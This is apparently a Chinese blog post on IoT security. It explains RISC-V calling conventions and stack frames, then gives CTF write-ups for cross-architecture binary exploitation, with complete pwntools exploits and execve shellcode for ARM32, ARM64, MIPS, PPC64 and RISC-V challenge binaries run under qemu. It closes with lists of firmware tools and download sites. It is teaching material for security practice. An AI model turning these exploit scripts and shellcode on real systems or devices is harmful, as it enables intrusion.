.L4:
lw a5,-32(s0)
addi a4,a5,4
sw a4,-32(s0)
lw a5,0(a5)
sw a5,-28(s0)
lw a4,-20(s0)
lw a5,-28(s0)
add a5,a4,a5
sw a5,-20(s0)
lw a5,-24(s0)
addi a5,a5,-1
sw a5,-24(s0)
.L3:
lw a5,-24(s0)
bgt a5,zero,.L4
lw a5,-20(s0)
mv a0,a5
lw s0,44(sp)
addi sp,sp,80
jr ra
main:
addi sp,sp,-48
sw ra,44(sp)
sw s0,40(sp)
addi s0,sp,48
addi sp,sp,-16
addi a5,sp,8
addi a5,a5,15
srli a5,a5,4
slli a5,a5,4
sw a5,-20(s0)
lw a3,-20(s0)
li a4,8
li a5,9
sw a4,0(a3)
sw a5,4(a3)
lw a5,-20(s0)
lw a4,0(a5)
lw a5,4(a5)
li a3,10
sw a3,4(sp)
sw a5,0(sp)
mv a7,a4
li a6,7
li a5,6
li a4,5
li a3,4
li a2,3
li a1,2
li a0,1
call long_args
li a5,8
sw a5,0(sp)
li a7,7
li a6,6
li a5,5
li a4,4
li a3,3
li a2,2
li a1,1
li a0,8
call va_sum
li a5,0
mv a0,a5
addi sp,s0,-48
lw ra,44(sp)
lw s0,40(sp)
addi sp,sp,48
jr ra

汇编分析:

  • main函数调用long_args函数时
  • caller为main函数,callee为long_args函数
  • long_args函数9个参数,其中arg8为long long类型(size为8字节),需要占用2个寄存器,其余参数均只占用一个寄存器
  • 根据RISC-V调用约定,在main调用long_args函数之前,需要将前7个参数(arg1-arg7)放入寄存器a0-a6,arg8的低4字节内容放入寄存器a7,高4字节内容放入对应栈位置(即caller的outgoing stack arguments区域),arg9放入对应栈位置(即caller的outgoing stack arguments区域)。
  • 对应的在long_args中,将存放arg8的低4字节寄存器a7中的值存入栈帧(即callee-allocated save area for arguments that are split between registers and the stack区域)。在long_args中,会继续将arg8传给f函数,因此需要将arg8通过寄存器a0和a1传递。
  • stack frame snapshot when main call long_args
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|===============================|<-- main function stack frame start (total 64 bytes)
| ra(4) |\
|-------------------------------| \
| s0(4) | | GPR save area (16)
|-------------------------------| /
| padding(8) |/
|===============================|
| data(4) |\
|-------------------------------| | local variables (16)
| padding(12) |/
|===============================|
| *data(8) |\
|-------------------------------| | dynamic allocation (16)
| padding(8) |/
|===============================|
| padding(8) |\
|-------------------------------| \
| arg9(4) | | outgoing stack arguments (16)
|-------------------------------| /
| arg8_high(4) |/
|===============================|<-- caller sp, long_args function stack frame start (total 64 bytes)
| a7/arg8_low(4) |\ virtual-incoming-args + 4
|-------------------------------|
| align STACK_BYTES(4) |
|-------------------------------| | callee-allocated save area for arguments that
| padding(8) |/ are split between registers and the stack (16)
|===============================|
| ra(4) |\
|-------------------------------| \
| s0(4) | | GPR save area (16)
|-------------------------------| /
| padding(8) |/
|===============================|<-- virtual-stack-vars
| a0(4) |\ vitrual-stack-vars - 4
|-------------------------------| \
| a1(4) | \
|-------------------------------| \
| a2(4) | \
|-------------------------------| \
| a3(4) | \
|-------------------------------| | local variables (32)
| a4(4) | /
|-------------------------------| /
| a5(4) | /
|-------------------------------| /
| a6(4) | /
|-------------------------------| /
| padding(4) |/
|===============================|<-- callee sp
  • main函数调用var_sum函数时
  • caller为main函数,callee为var_sum函数
  • 根据RISC-V调用约定,var_sum函数为可变参函数,除了第一个参数外,其他参数都是匿名参数。在main中调用var_sum前,需要将第一个参数放入寄存器a0,之后的匿名参数中,第1到7个匿名参数放入寄存器a1-a7,其余匿名参数通过函数栈帧传入(即caller的outgoing stack arguments区域)。
  • 对应的在var_sum函数中,需要将通过a1-a7传入的参数存储到对应栈帧区域(即callee的callee-allocated save area for register varargs区域)
  • stack frame snapshot when main call var_sum
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|===============================|<-- main function stack frame start (total 64 bytes)
| ra(4) |\
|-------------------------------| \
| s0(4) | | GPR save area (16)
|-------------------------------| /
| padding(8) |/
|===============================|
| data(4) |\
|-------------------------------| | local variables (16)
| padding(12) |/
|===============================|
| *data(8) |\
|-------------------------------| | dynamic allocation (16)
| padding(8) |/
|===============================|
| padding(12) |\
|-------------------------------| | outgoing stack arguments (16)
| vararg8(4) |/
|===============================|<-- virtual-incoming-args, caller sp, var_sum function stack frame start (total 80 bytes)
| a7/vararg7(4) |\
|-------------------------------| \
| a6/vararg6(4) | \
|-------------------------------| \
| a5/vararg5(4) | \
|-------------------------------| \
| a4/vararg4(4) | \
|-------------------------------| | callee-allocated save area
| a3/vararg3(4) | / for register varargs (32)
|-------------------------------| /
| a2/vararg2(4) | /
|-------------------------------| /
| a1/vararg1(4) | /
|-------------------------------| / --> ap
| padding(4) |/
|===============================|
| s0(4) |\
|-------------------------------| | GPR save area (16)
| padding(12) |/
|===============================|<-- virtual-stack-vars
| sum(4) |\
|-------------------------------| \
| i(4) | \
|-------------------------------| \
| arg(4) | \
|-------------------------------| \
| ap(4) | | local variables (32)
|-------------------------------| /
| a0/args_num(4) | /
|-------------------------------| /
| calee sp(4) | /
|-------------------------------| /
| padding(8) |/
|===============================|<-- callee sp

异构 PWN

异构Pwn和x86架构的Pwn不同点主要在于体系结构不同,默认大家对x86的Pwn比较熟悉了,下面主要是以几道CTF赛题来熟悉一下架构之间的区别,都比较简单就不详细讲了。

ARM32 PWN

可以自己编译一个带符号的 arm-libc|aarch64-libc,调试时候方便一些。

Stack

jarvisoj typo

静态编译的经过strip的arm32小端序程序,没找到相关的libc(看了编译的gcc版本默认的libc好像是2.17),这里交叉引用寻找一下。

程序存在栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall sub_8D24(int a1)
{
int v1; // r0
int v2; // r4
char v6[112]; // [sp+Ch] [bp-70h] BYREF

sub_20AF0(v6, 0, 100);
sub_221B0(0, v6, 0x200);
v1 = sub_1F800(a1);
if ( !sub_1F860(a1, v6, v1) )
{
v2 = sub_1F800(a1);
if ( v2 == sub_1F800(v6) - 1 )
return 1;
}
if ( v6[0] == 126 )
return 2;
return 0;
}

寻找字符串 exit 0 可以定位到 system 函数。

1
2
3
4
5
6
7
int __fastcall sub_110B4(int a1)
{
if ( a1 )
return sub_10BA8(a1);
else
return sub_10BA8("exit 0") == 0;
}

计算溢出大小,r2保留的读入地址到pop{R4,R11,PC}时PC的位置的距离。

image-20240327181737638

image-20240327182240060

断点到栈溢出返回时的 POP {R4,R11,PC} 指令。

1
.text:00008DE8                 POP     {R4,R11,PC}

image-20240327181558615

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwncli import *

filename = "./pwn"
context.binary = filename
context.arch="arm"

def debug(*addrs):
bps = ""
for x in addrs:
bps += f"-ex 'b * {hex(x)}'"
os.system(f"tmux splitw -h \"gdb-multiarch {filename} -q -ex 'target remote 127.0.0.1:8888' {bps}\"")

bin_sh_addr = 0x6c384
gadget_addr = 0x20904 # pop {r0, r4, pc};
system_addr = 0x110B4

payload = flat([b'a'*0x70, gadget_addr, bin_sh_addr, 0, system_addr])

io = process(["qemu-arm-static", "-g", "8888", filename])

io.send(b"\n")
debug(0x8D5C)
io.send(payload)
pause()
io.interactive()

ARM64 PWN

Stack

baby_arm

程序开了 NX 保护,并且提供了 mprotect,但如果在 qemu 中运行的话是可以直接 ret2shellcode 的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
ssize_t v3; // x0

sub_400760(a1, a2, a3);
write(1, "Name:", 5uLL);
v3 = read(0, &unk_411068, 0x200uLL);
sub_4007F0(v3);
return 0LL;
}

ssize_t sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h] BYREF

return read(0, &v1, 0x200uLL);
}

虽然 qemu 中的地址都是可以执行的,但为了熟悉指令,本题可以使用 ret2csugadget位于函数 init() 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
; gadget 1 :
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x30处数据给x23,sp+0x38处数据给x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给x30,并将栈抬高64字节
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址

; gadget 2 :
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ; 将(x21+x19<<3)中的值(地址)赋给x3
.text:00000000004008B0 MOV X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4 MOV X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8 MOV W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC ADD X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0 BLR X3 ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4 CMP X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8 B.NE loc_4008AC ; 不等则跳转

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwncli import *
context(os = 'linux', arch = 'aarch64', log_level = 'debug')

io = process("qemu-aarch64 -L ./ ./pwn", shell = True)

elf = ELF("./pwn")

gadget1_addr = 0x4008CC
gadget2_addr = 0x4008AC
mprotect_addr = 0x411068
shellcode_addr = 0x411070

shellcode = asm('''
add x0, lr, #20
mov x1, xzr
mov x2, xzr
mov x8, #221
svc 0
.ascii "/bin/sh\\0"
''')

payload = p64(elf.plt['mprotect']) + shellcode
io.sendafter("Name:", payload)

payload = b'a'*0x48 + p64(gadget1_addr)
payload += p64(0) + p64(gadget2_addr) # X29 X30 (RET -> X30) SP += 0x40
payload += p64(0) + p64(1) # X19 X20 (X19 + 1 == X20)
payload += p64(mprotect_addr) + p64(0x7) # X21(X3 = [X21], BLR X3) X22(X2)
payload += p64(0x1000) + p64(shellcode_addr & 0xfff000) # X23(X1) X24(W0)
payload += p64(0) + p64(shellcode_addr) # X29 X30 (RET -> X30)
io.send(payload)
io.interactive()

执行顺序:

image-20240402193406756

  • 填充 'a'*0x48,返回 main 函数后,sp会加0x50(因为分配了0x50大小的栈空间),sp->gadget1,main函数在返回时会被劫持执行流。

image-20240402192021593

  • ldp x29, lr, [sp], #0x10 将 sp 弹给 x29,将 sp + 0x8 弹给 lr 寄存器,然后将 sp+0x10。

  • ret 跳到 lr 寄存器保存的地址处执行,即 gadget1,会将 sp+8处的值赋给 lr,即gadget2,并且此时 x19->10, x20->1, x21->mprotect, x22->0x7, x23->0x1000, x24->shellcode_addr & 0xfff000

image-20240402194545108

  • 然后执行gadget2,结合gadget1给寄存器的赋值,此时 x3->(x21+x19<<3)->x21->mprotect, x2->x22->0x7, x1->x23->0x1000, w0->w24->shellcode_addr, x19->0+1, exec mprotect, if(*x19==*x20) ret; else loop gadget2;
  • 然后再次执行gadget1,将shellcode_addr 赋值给 lr 寄存器,完成利用。

image-20240402195444586

MIPS PWN

Stack

axb_2019_mips

1
2
3
4
5
6
7
8
❯ checksec pwn2
[*] '/home/pwn/MIPS_pwn/pwn/pwn2'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

mipsel架构,保护全关。运行发现需要链接uclibc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[24]; // [sp+18h] [+18h] BYREF

alarm(0x3Cu);
setbuf(stdin, 0u);
setbuf(stdout, 0u);
memset(v4, 0, 0x14u);
puts("Welcome to MIPS pwn!");
puts("What's your name: ");
read(0, v4, 0x14u);
printf("Hello!, %s", v4);
vuln();
return 0;
}

ssize_t vuln()
{
char v1[32]; // [sp+18h] [+18h] BYREF

return read(0, v1, 0x200u);
}

IDA反汇编发现存在栈溢出漏洞。并且发生溢出的函数是非叶子函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:004007C4                 .globl vuln
.text:004007C4 vuln: # CODE XREF: main+120↓p
.text:004007C4
.text:004007C4 var_28 = -0x28
.text:004007C4 var_20 = -0x20
.text:004007C4 var_s0 = 0
.text:004007C4 var_s4 = 4
.text:004007C4
.text:004007C4 addiu $sp, -0x40
.text:004007C8 sw $ra, 0x38+var_s4($sp)
.text:004007CC sw $fp, 0x38+var_s0($sp)
.text:004007D0 move $fp, $sp
.text:004007D4 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0)
.text:004007DC sw $gp, 0x38+var_28($sp)
.text:004007E0 li $a2, 0x200 # nbytes
.text:004007E4 addiu $v0, $fp, 0x38+var_20; 后两个参数可控,从而$v0可控
.text:004007E8 move $a1, $v0 # buf
.text:004007EC move $a0, $zero # fd
.text:004007F0 la $v0, read
.text:004007F4 move $t9, $v0
.text:004007F8 jalr $t9 ; read
.text:004007FC nop
.text:00400800 lw $gp, 0x38+var_28($fp)
.text:00400804 nop
.text:00400808 move $sp, $fp
.text:0040080C lw $ra, 0x38+var_s4($sp)
.text:00400810 lw $fp, 0x38+var_s0($sp); fp溢出返回被覆盖
.text:00400814 addiu $sp, 0x40
.text:00400818 jr $ra
.text:0040081C nop

$fp寄存器的值,在我们溢出后函数结束时,就会被栈里的值覆盖,因此$fp可控,从而$v0可控,从而$a1可控。而$a0$a2也在代码里控制住了。因此,我们让$a1指向bss段,从而可以向bss段输入shellcode。当read结束后, move $sp, $fp指令会使得栈发生迁移,我们在bss段的shellcode前面放置shellcode的地址,这样shellcode的地址就会被放入到$ra寄存器,进而可以ret到shellcode。执行shellcode。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: utf-8 -*-
from pwncli import *
context.arch='mips'
context.endian='little'
context.log_level='debug'

r = process(["qemu-mipsel", "-L", "./lib", "./pwn2"])
#r = remote('node5.buuoj.cn',28044)
bss = 0x410b70
read_addr = 0x4007e0
r.sendafter(b"What's your name:",b"aaaa")

shellcode = asm(shellcraft.linux.sh())

payload = flat([b'a'*0x20, bss + 0x200 - 0x40 + 0x28, read_addr])
r.send(payload)
pause()
payload = flat([b'a'*0x24, bss + 0x200 + 0x28, shellcode])
r.send(payload)
pause()
r.interactive()

PPC PWN

Stack

UTCTF2019 PPC

1
2
3
4
5
6
7
8
9
10
11
❯ file ppc                
ppc: ELF 64-bit LSB executable, 64-bit PowerPC or cisco 7500, OpenPOWER ELF V2 ABI, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=088a76917833cbf23f8b0476d6a52c4ea4701ee7, not stripped
❯ checksec ppc
[*] '/home/pwn/PPC_pwn/pwn/ppc'
Arch: powerpc64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000000)
Stack: Executable
RWX: Has RWX segments

静态编译的ppc64小端序程序。

IDA反汇编存在溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // r4
int i; // [sp+60h] [-20h]
int v5; // [sp+64h] [-1Ch]

welcome_0();
get_input_0();
v5 = strlen_0(buf_0);
for ( i = 0; i < v5; ++i )
buf_0[i] ^= 0xCBu;
printf_0("%d\n", v5);
encrypt_0((char *)v5, v3);
puts_0("Exiting..");
exit_0(1);
}

char *get_input_0()
{
puts_0("Enter a string");
return fgets_0(buf_0, 0x3E8, stdin);
}

void encrypt_0(char *block, int edflag)
{
_DWORD v2[2]; // [sp+60h] [-90h] BYREF
_DWORD v3[32]; // [sp+68h] [-88h] BYREF

v3[26] = (_DWORD)block;
memcpy_0(v3, buf_0, 0x3E8uLL); // 栈溢出
printf_0("Here's your string: ");
for ( v2[0] = 0; v2[0] <= 49; ++v2[0] )
printf_0("%x ", *((unsigned __int8 *)&v2[2] + v2[0]));
putchar_0(10);
}

函数会将buf的内容通过memcpy复制到栈上,而abStack136只有104字节,很明显存在一个栈溢出漏洞。由于程序什么保护都没开,最简单的利用方法给x86的思路差不多,栈溢出覆盖返回地址,跳到可控内存段执行shellcode。程序对输入内容进行异或,处理方法有两个:1,将payload先进行一次异或再发送;2,strlen能够被\x00截断,截断后的内容不会经过异或。

image-20240419173750864

栈溢出覆盖lr的偏移:0x950-0x8b8=0x98=152

这一步没花太多时间,因为在程序唯一一次读取输入的地方,可以发现存放输入的buf是一个bss段的全局变量,程序没开PIE,地址可知。

1
2
3
.bss:00000000100D2B40                 .globl buf_0
.bss:00000000100D2B40 buf_0: .space 1 # DATA XREF: main_0+20↑o
.bss:00000000100D2B40 # main_0+44↑o ...

现在可以开始进行shellcode编写。

ppc的shellcode跟x86没什么差别,最终目标一样是execve("/bin/sh", 0, 0),构造条件如下:

  1. r0为syscall调用号,需要设为0xb
  2. r3为参数一,需要指向/bin/sh
  3. r4为参数二,需清0
  4. r5为参数三,需清0
  5. 在ppc中syscall使用sc

shellcode编写需要上面提到的各种指令集,不停查阅后终于写出shellcode,最终写出的shellcode如下:

1
2
3
4
5
6
7
8
9
xor 3,3,3
lis 3, 0x100d
addi 3, 3, 0x2b64
xor 4,4,4
xor 5,5,5
li 0, 11
sc
.long 0x6e69622f
.long 0x68732f

为了绕过异或,我直接在payload前面加了8字节的\x00,因此后面用的各种地址都需要+8。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwncli import *
context.log_level = 'debug'
context.arch='ppc64'
context.endian='little'

p = process(['qemu-ppc64le', '-g', '8888', './ppc'])

shellcode = asm("""
xor 3,3,3
lis 3, 0x100d
addi 3, 3, 0x2b64
xor 4,4,4
xor 5,5,5
li 0, 11
sc
.long 0x6e69622f
.long 0x68732f
""")

rop = p64(0) + shellcode
rop = rop.ljust(152,'A')
rop += p64(0x100D2B40+8)

p.sendlineafter(b'string\n',rop)
p.interactive()

RISC-V PWN

Stack

harmoshell

1
2
3
4
5
6
7
❯ checksec harmoshell
[*] '/home/pwn/riskv_pwn/pwn/harmoshell/harmoshell'
Arch: riscv64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

riscv64小端序程序。

ghidra 分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void echo(longlong param_1)

{
longlong lVar1;
char **chunk_list;
char *chunk;
int file1;
ssize_t rsize;
undefined4 extraout_var;
undefined4 extraout_var_00;
undefined4 extraout_var_01;
size_t __nbytes;
char *file;
undefined8 flag;
undefined auStack320 [264];

lVar1 = *(longlong *)(param_1 + 8);
file = *(char **)(lVar1 + 8);
file1 = strcmp(file,">");
if (CONCAT44(extraout_var,file1) == 0) {
flag = 0;
}
else {
file1 = strcmp(file,">>");
flag = 1;
if (CONCAT44(extraout_var_00,file1) != 0) {
/* WARNING: Subroutine does not return */
FUN_00011490();
}
}
file = *(char **)(lVar1 + 0x10);
chunk_list = (char **)&gp0xfffffffffffffa60;
while ((chunk = *chunk_list, chunk == (char *)0x0 ||
(file1 = strcmp(file,chunk), CONCAT44(extraout_var_01,file1) != 0))) {
chunk_list = chunk_list + 1;
if (chunk_list == (char **)&gp0xfffffffffffffbe0) {
__nbytes = 0x200;
LAB_00011516:
rsize = read(0,auStack320,__nbytes);
copy(*(undefined8 *)(*(longlong *)(param_1 + 8) + 0x10),auStack320,(longlong)rsize,flag);
return;
}
}
__nbytes = *(size_t *)(chunk + 0x18);
goto LAB_00011516;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch='riscv64'
context.endian='little'

ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ia = lambda : io.interactive()

def menu(cmd):
ru(b"$ ")
sl(cmd)

def op_touch(file_name):
cmd = b"touch " + file_name
menu(cmd)

def op_echo(file_name, buf):
cmd = b"echo > "
cmd += file_name
menu(cmd)
sl(buf)

io = process(['./qemu-riscv64', '-L', './libs', './harmoshell'])

for i in range(0x30):
op_touch(str(i).encode())

shellcode = b"\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"


op_echo(b"0", shellcode)

payload = shellcode
payload += b"A"*(0x138-len(payload))
payload += p64(0x0000000000025f10)
op_echo(str(0x30).encode(), payload)

ia()

环境搭建

这里就不详细介绍了。

  1. binwalk

  2. firmAE 下载最好挂个梯子

  3. firmadyne

  4. firmware-analysis-toolkit

  5. qemu

  6. firmwalker

  7. firmware-mod-kit ubuntu20.04安装这个

  8. ……

获取固件

获取固件和提取固件这两个部分后面在漏洞挖掘和CVE复现时写写。

  • 官网下载(有些存在加密,可以找一下中间版本,有可能存在解密脚本)

  • 第三方网站

  • 在线升级时抓取升级包的地址

  • 售后获取

  • 使用编程器从Flash中读取固件

  • 通过调试接口,进入设备提取固件

  • 使用逻辑分析仪获取固件

  • ……

https://tsd.dlink.com.tw/ddwn
https://legacyfiles.us.dlink.com/

Trendnet

http://download.trendnet.com/

Tenda

https://www.tendacn.com/products/routers.html

https://www.totolink.net/home/index/menu_listtpl/listtpl/prod/id/26.html

http://totolink.cn/home/index/menu_listtpl.html?listtpl=prod&id=26

https://resource.tp-link.com.cn/?source=index

https://www.tp-link.com/en/explore/wifi-router/

https://www.tp-link.com.cn/

https://www.wavlink.com/en_us/firmware.html

H3C

https://www.h3c.com/cn/Service/Document_Software/Software_Download/Consume_product/

Cisco

https://software.cisco.com/download/home

NETGEAR

http://www.netgear.cn/

https://www.netgear.com/support/download

DrayTek

https://fw.draytek.com.tw/

https://www.draytek.com/products/vpn-routers/

锐捷

https://www.ruijie.com.cn/fw/rj/
https://www.ruijienetworks.com/resources/products/1896-1897

萤石

https://service.ezviz.com/download

小米

http://miwifi.com/miwifi_download.html

ASUS

https://www.asus.com.cn/support/

提取固件

也不在这里细讲了,复现CVE时再去戏写。

  • binwalk
  • unsquashfs
  • dd
  • strings 查看信息
  • file
  • hexdump
  • fdisk
  • ……

CVE实战篇

后面把自己和一些写的很好的师傅的blog挂在这里吧。

  • Title: IoT安全专题
  • Author: 韩乔落
  • Created at : 2023-10-17 10:42:44
  • Updated at : 2024-09-20 13:28:41
  • Link: https://jelasin.github.io/2023/10/17/IoT安全专题/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments